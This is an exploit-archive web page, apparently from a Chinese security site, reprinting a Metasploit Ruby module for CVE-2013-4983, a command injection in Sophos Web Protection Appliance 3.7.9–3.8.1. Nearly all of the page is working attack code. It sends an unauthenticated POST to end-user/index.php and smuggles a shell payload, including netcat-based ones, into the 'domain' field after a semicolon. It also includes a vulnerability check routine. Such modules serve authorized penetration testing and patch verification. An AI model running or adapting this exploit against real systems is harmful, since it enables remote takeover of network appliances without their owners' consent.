首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Sophos Web Protection Appliance sblistpack Arbitrary Command Execution
来源:metasploit.com 作者:vazquez 发布时间:2013-09-18  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution',
      'Description'    => %q{
        This module exploits a command injection vulnerability on Sophos Web Protection Appliance
        3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable
        from the web interface without authentication. This module has been tested successfully
        on Sophos Virtual Web Appliance 3.7.0.
      },
      'Author'         =>
        [
          'Francisco Falcon', # Vulnerability discovery and PoC
          'juan vazquez'      # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4983' ],
          [ 'OSVDB', '97029' ],
          [ 'BID', '62263'],
          [ 'EDB', '28175'],
          [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'BadChars'    => "\x27\x22\x5c",
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat-e' # Because quotes and double-quotes aren't valid
            }
        },
      'Targets'        =>
        [
          [ 'Sophos Web Protection Appliance 3.7.0', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 06 2013'
      ))
  
    register_options(
      [
        Opt::RPORT(443)
      ],
      self.class
    )
  
  end
  
  def check
    url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
    domain = "http://#{rand_text_alpha(10 + rand(10))}.com"
    res = send_exploit_query(url, domain)
  
    if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end
  
  def exploit
    print_status("#{rhost}:#{rport} - Executing payload...")
    url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
    domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.raw}"
    # very short timeout because the request may never return if we're
    # sending a socket payload
    send_exploit_query(url, domain, 0.01)
  end
  
  def send_exploit_query(url, domain, timeout = 20)
    user = rand_text_alpha(8 + rand(5))
    res = send_request_cgi({
      'uri' => normalize_uri('end-user', 'index.php'),
      'method' => 'POST',
      'vars_get' => {
        'c' =>'blocked',
        'action' => 'continue'
      },
      'vars_post' => {
        'url'             => "#{Rex::Text.encode_base64(url)}",
        'args_reason'     => rand_text_alpha(15 + rand(5)),
        'filetype'        => rand_text_alpha(15 + rand(5)),
        'user'            => user,
        'user_encoded'    => "#{Rex::Text.encode_base64(user)}",
        'domain'          => domain,
        'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}"
      }
    }, timeout)
  
    return res
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·D-Link Devices UPnP SOAP Telne
·Sophos Web Protection Applianc
·PCMAN FTP 2.07 STOR Command -
·Agnitum Outpost Internet Secur
·Ofilter Player 1.2.0.1 Buffer
·HP ProCurve Manager SNAC Updat
·Mitsubishi MC-WorkX 8.02 Activ
·HP ProCurve Manager SNAC Updat
·Vestel TV 42pf9322 - Denial of
·Vino VNC Server 3.7.3 - Persis
·Target Longlife Media Player 2
·TeraCopy 2.3 (default.mo) Lang
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved